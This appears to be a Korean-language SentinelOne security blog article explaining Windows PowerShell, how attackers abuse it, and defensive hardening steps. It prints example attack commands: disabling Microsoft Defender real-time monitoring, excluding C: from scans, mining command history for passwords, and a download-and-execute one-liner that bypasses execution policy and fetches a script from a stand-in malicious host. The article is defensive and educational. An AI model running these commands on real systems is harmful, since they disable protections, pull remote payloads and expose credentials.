Skip to main content
사이버 보안

Windows PowerShell이란 무엇인가요?

Windows PowerShell은 강력한 자동화 도구입니다. 보안상 의미와 환경에서 이를 안전하게 사용하는 방법을 이해하세요.

작성자 SentinelOne
Windows PowerShell이란 무엇인가요?

Windows PowerShell은 작업 자동화와 구성 관리를 위한 강력한 스크립팅 언어이자 명령줄 셸입니다. 이 가이드에서는 시스템 관리 및 보안에서의 역할을 포함해 PowerShell의 기능과 역량을 살펴봅니다.

일반적인 PowerShell 명령, 스크립팅 모범 사례, 그리고 사이버보안 목적을 위해 PowerShell을 활용하는 방법을 알아보세요. PowerShell에 대한 이해는 IT 전문가와 보안 실무자에게 필수적입니다.

PowerShell이 비즈니스의 중요한 자산에 어떤 영향을 미칠 수 있을까요? PowerShell의 기본 사항, 해커들이 이를 선호하는 이유, 그리고 엔터프라이즈를 보호하는 방법을 알아보세요

Microsoft PowerShell은 작업 자동화와 Windows 기반 시스템 관리를 위해 사용되는 명령줄 셸이자 스크립팅 언어입니다. 관리자는 물론 보안 전문가도 일상적인 작업 자동화, 시스템 관리 및 모니터링, 보안 사고 대응 자동화를 위해 일반적으로 이를 사용합니다. 공격자는 종종 PowerShell을 사용해 시스템에 무단으로 접근하고 악성 코드를 실행합니다.

Microsoft PowerShell은 2006년부터 Windows에서 사용할 수 있었지만, 현재는 Windows 10의 파일 탐색기용 명령 셸이 되었으며 기존 cmd.exe 도구를 대부분 대체했습니다. 일반 사용자에게는 종종 난해하게 여겨지지만, PowerShell은 유연성과 강력함 덕분에 IT 팀과 네트워크 관리자에게 필수 요소가 되었습니다. 이 입문 가이드에서는 PowerShell의 기본 사항, 왜 이것이 해커와 멀웨어 제작자에게 매력적인지, 그리고 조직을 보호하기 위해 무엇을 할 수 있는지 설명합니다.

버전 선택

Cortana의 검색 필드에 ‘PowerShell’을 입력하면 PowerShell ISE와 PowerShell Desktop app이라는 몇 가지 옵션이 표시됩니다. 여기에 더해 시작 메뉴 또는 두 PowerShell의 작업 표시줄 아이콘 중 하나를 마우스 오른쪽 버튼으로 클릭하면 각 PowerShell 버전을 시작하는 두 가지 방법, 즉 현재 사용자로 실행하거나 관리자로 실행하는 방법이 있음을 확인할 수 있습니다.

일반적인 작업을 자동화하려는 관리자는 PowerShell 모듈과 스크립트를 개발하기 위해 ISE 인터페이스를 사용할 가능성이 높지만, 대화형 사용의 경우 대부분은 작업에 따라 관리자 또는 현재 사용자로 PowerShell Desktop app을 실행하는 방식을 선택합니다.

PowerShell Core에 대한 이야기도 들을 수 있는데, 이는 Windows뿐 아니라 Linux와 macOS에서도 실행되는 크로스 플랫폼 오픈소스 에디션입니다:

다만 이것은 서명되지 않은 바이너리로 설치되므로 악성 위장 파일로 쉽게 대체될 수 있으니 주의해야 합니다. PowerShell Core를 사용하는 엔드포인트가 있다면, 조직에서 적절한 인증서로 서명하거나 정기적인 shasum 검사를 실행해 변조되지 않았는지 확인해야 합니다.

PowerShell의 여러 버전 간에는 기능 차이가 일부 있지만, 모두 SSH를 통한 원격 세션 실행과 다양한 프로세스 및 서비스와의 상호작용이 가능합니다. PowerShell은 Windows 레지스트리와 이벤트 로그와도 상호작용할 수 있습니다. 이는 곧 PowerShell에 접근할 수 있는 공격자도 동일한 접근 권한과 이점을 가진다는 의미입니다.

PowerShell의 역량 활용

두 가지 간단한 명령만으로도 PowerShell의 기능을 어느 정도 파악할 수 있습니다:

Get-Module -ListAvailable

사용 가능한 모듈을 나열하는 명령과

Get-Command

사용 가능한 명령을 나열하는 명령입니다:

몇 가지 예를 간단히 살펴보겠습니다. 여러분(또는 공격자)이 문서 디렉터리 내부를 이동하면서 그 안에 흥미로운 내용이 있는지 빠르게 확인하고 싶다고 가정해 보겠습니다. 다음과 같은 명령은 디렉터리 내 모든 텍스트 파일의 처음 두 줄과 마지막 두 줄을 출력하고, 하위 디렉터리를 재귀적으로 탐색하며, 숨김 또는 보이지 않는 파일도 포함하고, 나중에 검토하거나 가져올 수 있도록 출력을 다른 텍스트 파일로 파이프합니다:

Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log

누군가 “Confidential”로 시작하거나 “Chief Financial Officer”와 같은 작성자의 직책으로 끝나는 문서를 찾고 있다면, 이는 관심 항목을 열거하는 “빠르고 대충 하는” 방법이 될 수 있습니다.

항목 삭제는, 아마도 침해의 흔적을 지우기 위한 목적일 수 있는데, 다음과 같이 간단합니다

Remove-Item <path>

PowerShell은 또한 사용자가 운영 체제를 흥미롭고, 안타깝게도 위험한 방식으로 조작할 수 있게 합니다. malware 제작자가 사전 설치된 Microsoft Defender AV 엔진을 우회하려는 경우, 적절한 권한으로 PowerShell 명령을 실행해 이를 비활성화할 수 있습니다:

Set-MpPreference -DisableRealTimeMonitoring $true

또는 좀 더 은밀하게, 검색 경로에서 드라이브나 경로를 제외할 수도 있습니다:

Add-MpPreference -ExclusionPath “c:”

PowerShell은 또한 공격자가 Get-PSDrive와 Get-EventLog를 각각 사용해 네트워크 드라이브를 열거하고 이벤트 로그를 호출하는 작업도 쉽게 수행할 수 있게 해주며, 이는 악용 가능한 정보를 찾는 데 유용한 방법입니다.

사용자와 악의적 행위자 모두에게 유용한 기능 중 하나는 명령줄에서 대화형으로 입력된 명령의 기록과, 해당 명령에 전달된 모든 인수를 읽을 수 있는 기능입니다. 기록은 다음 명령이 출력하는 경로에 저장됩니다:

(Get-PSReadLineOption).HistorySavePath

그리고 cat과 Select-String cmdlet(또는 별칭 sls)을 사용하면 관심 항목(예: 비밀번호!)에 대해 명령을 효과적으로 “grep”하거나 검색할 수 있습니다:

스크립트 및 익스플로잇 키트

하지만 명령줄에서 PowerShell을 사용하는 것이 악의적 행위자에게 가장 큰 기회를 제공하는 부분은 아닙니다. 더 위험한 것은 PowerShell이 메모리 내(즉, “fileless” 멀웨어 공격)와 디스크에서 모두 스크립트를 실행할 수 있다는 점입니다. 이 둘 모두 호스트에서 직접 또는 원격으로 실행될 수 있습니다.

Unix 셸의 eval 명령처럼, PowerShell에는 Invoke-Expression(및 별칭 iex)이 있어 메모리에서 악성 스크립트를 다운로드하고 실행할 수 있습니다. 제한된 실행 정책을 우회하기 위해 Bypass를 추가할 수도 있습니다:

powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"

예상할 수 있듯이, PowerShell의 잠재력을 최대한 활용하는 전체 익스플로잇 프레임워크가 등장하는 데는 오랜 시간이 걸리지 않았습니다.

그중 첫 번째는 PowerSploit으로, 피해자의 시스템을 조작하고 제어하는 데 도움이 되는 PowerShell 스크립트 모음입니다.

PowerShell Empire는 PowerSploit 및 여러 다른 프로젝트의 작업을 기반으로 구축된 사후 익스플로잇 도구로, 네트워크 탐지를 회피하고 키로거를 실행하며 Mimikatz와 같은 다른 모듈을 실행해 메모리에서 직접 평문 비밀번호, 비밀번호 해시 및 기타 데이터를 추출할 수 있습니다.

PowerShell 공격의 증가

다른 종류의 Windows files, .exe, .bat, .wsf 및 .LNK에서 실행할 수 있는 PowerShell 스크립트와 PowerShell 명령이 만들어질 수 있다는 점은 최근 몇 년간 PowerShell 기반 멀웨어가 증가한 이유 중 하나입니다. 한 추정치 에 따르면 PowerShell 익스플로잇이 멀웨어 사고의 거의 40%를 차지한다고 하며, 공격자가 랜섬웨어부터 ransomware, 자격 증명 탈취, 뱅킹 트로이목마에 이르기까지 매우 다양한 캠페인에서 이를 사용하고 있다는 점은 분명합니다. PowerShell은 클릭 사기, 비밀번호 스니핑, 데이터 유출과도 관련이 있는 것으로 나타났습니다.

DNSMessenger는 Word 문서 매크로를 통해 확산되는 것이 발견된 멀웨어입니다. 이 멀웨어는 VBA 소스 코드를 영리하게 사용해 인코딩된 PowerShell 명령을 전달함으로써 지속성을 확보하고, 페이로드를 전달하며, C&C 서버와 통신합니다.

놀랍게도 일부 PowerShell 공격은 내장된 PowerShell.exe조차 필요하지 않습니다. PowerShdll 및 InsecurePowerShell과 같은 도구는 PowerShell 바이너리의 기반이 되는 System.Management.Automation.dll을 활용해 스크립트를 직접 실행할 수 있습니다. 요컨대 PowerShell 실행 파일은 동적 링크 라이브러리에 있는 실제 코드를 위한 호스트 또는 래퍼에 불과합니다. 공격은 이를 활용해 사실상 모든 프로세스가 PowerShell 스크립트와 명령을 실행하도록 만들 수 있습니다.

PowerShell의 다른 창의적인 활용 방식으로는 PNG 파일의 픽셀에 PowerShell 스크립트를 삽입하고 Invoke-PSImage를 사용해 이를 실행하는 원라이너를 생성하는 방법, 또는 PS2EXE와 같은 도구를 사용해 PowerShell 스크립트를 EXE 파일로 변환하는 방법이 있습니다.

PowerShell 관리

이 모든 내용을 보면 단순히 PowerShell.exe를 차단하는 것은 무의미할 뿐 아니라, PowerShell이 제공하는 기능에 의존하게 된 시스템 관리자에게 큰 부담이 된다는 점이 분명할 것입니다. PowerShell과 그 기반이 되는 DLL은 Windows 운영 체제의 필수 구성 요소이며, PowerShell Core의 등장으로 이러한 역량은 엔터프라이즈에 필수적일 수 있는 크로스 플랫폼 관리 기회로까지 확장된다는 점을 이해하는 것이 중요합니다.

PowerShell의 양면성을 다루기 위한 효과적인 엔터프라이즈 솔루션은 SentinelOne처럼 엔드포인트에서 실행되는 프로세스의 동작을 살펴보는 방식입니다. 이는 멀웨어 공격이 어떤 방식으로 구현되든 유사하게 동작하기 때문에 효과적입니다. SentinelOne 에이전트는 에이전트의 모든 활동을 모니터링하여 악성과 정상 행위를 구분합니다. 에이전트는 이미 사용자, 프로세스, 명령줄 인수, 레지스트리, 디스크의 파일, 외부 통신 등 전체 컨텍스트를 보유하고 있으므로, 악성 활동은 그 출처와 관계없이 완화될 수 있습니다.


이 글이 마음에 드셨나요? LinkedIn, Twitter, YouTube 또는 Facebook에서 저희를 팔로우하고 게시되는 콘텐츠를 확인해 보세요.

Windows 보안에 대해 더 읽어보기

Callout Background Image Gradient

AI 기반 사이버 보안

실시간 감지, 머신 속도 대응, 전체 디지털 환경에 대한 종합적인 가시성을 통해 보안 태세를 강화하세요.

Windows PowerShell FAQ

Windows PowerShell은 .NET Framework를 기반으로 구축된 Microsoft 명령줄 셸 및 스크립팅 언어입니다. 파일 시스템, 레지스트리 및 서비스 관리와 같은 작업을 자동화하기 위해 cmdlet—간단한 동사-명사 명령—을 사용할 수 있습니다.

PowerShell은 일반 텍스트 대신 객체를 처리하고 반환하므로 구조화된 데이터를 한 cmdlet에서 다음 cmdlet으로 파이프할 수 있습니다. 또한 시스템 관리를 위해 원격 기능, 모듈 및 콘솔 내 도움말을 지원합니다.

기존 CMD와 달리 PowerShell은 동사-명사 형식의 cmdlet을 사용하며 텍스트 스트림이 아닌 .NET 객체로 작업합니다. 즉, 텍스트를 구문 분석하지 않고도 파이프라인을 통해 명령을 연결할 수 있습니다. PowerShell 스크립트는 .NET API를 직접 호출할 수 있고, 더 풍부한 오류 처리 기능을 제공하며, 모듈을 지원합니다.

기존 셸은 일반 텍스트와 기본 배치 스크립트만 처리하는 반면, PowerShell은 자동화 및 구성을 위한 완전한 스크립팅 환경을 제공합니다.

PowerShell의 깊은 시스템 통합과 강력한 스크립팅 기능은 관리자와 공격자 모두에게 선호되는 도구가 되게 합니다. 위협 행위자는 탐지를 회피하기 위해 파일리스 기법—메모리에서 스크립트를 실행하는 방식—을 사용합니다.

PowerShell은 디스크를 건드리지 않고도 방어 기능을 비활성화하거나, 악성 코드를 다운로드하거나, 자격 증명을 탈취할 수 있습니다. Windows 전반에 널리 존재하므로 방어자는 PowerShell 활동을 고위험으로 간주하고 악용 여부를 면밀히 모니터링해야 합니다.

Cisco의 한 연구에서 PowerShell은 엔드포인트의 심각한 보안 위협 중 3분의 1 이상에 관여했습니다. Carbon Black은 사고의 38%에서 PowerShell 악용을 보고했으며, 이는 종종 측면 이동이나 자격 증명 탈취와 같은 익스플로잇 이후 활동에서 나타났습니다.

정상적인 사용량은 낮지만, PowerShell은 확인된 악성 행위 14건 중 약 1건에서 나타납니다.

모든 PowerShell 로깅을 활성화하세요: 모듈 로깅, 스크립트 블록 로깅 및 전사 로깅. 로그 크기를 최소 150 MB로 설정하고 다음에서 이벤트를 수집하세요

Microsoft-Windows-PowerShell/Operational 및 PowerShellCore/Operational. 로그를 SIEM 또는 XDR로 전송하세요. 신뢰할 수 없는 부모 프로세스에서 시작된 스크립트를 차단하고 실행 정책을 서명된 스크립트로만 제한하세요. 추가 세부 정보를 위해 Protected Event Logging을 활성화하세요.

승인된 cmdlet에 대해서만 사용자 액세스를 제한하기 위해 JEA(Just Enough Administration)를 사용하세요. COM, WMI 및 복잡한 식을 비활성화하기 위해 제한된 언어 모드를 적용하세요. 서명된 스크립트를 허용 목록에 추가하기 위해 애플리케이션 제어 정책(예: WDAC)을 배포하세요.

PowerShell을 v5.1 이상으로 최신 상태로 유지하세요. 모든 스크립트 호출이 기록되도록 로깅 설정을 정기적으로 검토하고 조정하세요.

PowerShell을 완전히 차단하면 시스템 관리 및 원격 관리가 중단될 수 있습니다. Microsoft는 전면적인 제거를 권장하지 않습니다. 대신 실행을 권한 있는 관리자에게만 제한하고, 애플리케이션 제어를 적용하며, Office 앱과 같은 신뢰할 수 없는 부모 프로세스 아래에서 PowerShell이 생성되지 않도록 제한하세요.

로깅 및 모니터링과 결합하면 이러한 제어는 정상적인 운영을 마비시키지 않으면서 대부분의 악의적 사용을 차단합니다.

PowerShell을 사용하면 방어자가 사고 대응을 자동화하고, 포렌식 데이터를 신속하게 수집하며, 위협을 헌팅할 수 있습니다. 몇 분 안에 레지스트리 아티팩트, 프로세스 목록 및 네트워크 연결을 수집하는 스크립트를 작성할 수 있습니다. 또한 많은 익스플로잇 이후 도구(Empire, Cobalt Strike)가 내부적으로 PowerShell을 사용하므로, PowerShell을 배우면 공격자 기법을 이해하는 데도 도움이 됩니다.

PowerShell 스크립트는 분류를 위해 라이브 메모리, 레지스트리 실행 키, 이벤트 로그 및 네트워크 데이터를 수집할 수 있습니다. DFIR-Script와 같은 커뮤니티 도구는 엔드포인트 전반에서 증거 수집을 자동화합니다. 헌터는 PowerShell을 사용해 악성 스크립트 블록에 대한 Windows Event ID 4104를 쿼리하고, 출력을 구문 분석하며, 결과를 SOAR 플레이북에 전달합니다. 이로 인해 PowerShell은 탐지, 격리 및 복구 워크플로의 핵심 요소가 됩니다.

다음에 대해 더 알아보기 사이버 보안

Decorative background gradient

가장 진보된 사이버 보안 플랫폼을 경험해 보세요

세계에서 가장 지능적이고 자율적인 사이버 보안 플랫폼이 오늘과 미래에 귀사의 조직을 어떻게 보호할 수 있는지 확인해 보세요.
Dark dashboard UI with purple-highlighted nav, summary cards showing 149, 7, 78, 56, 1.2 h, and a status table with linked purple text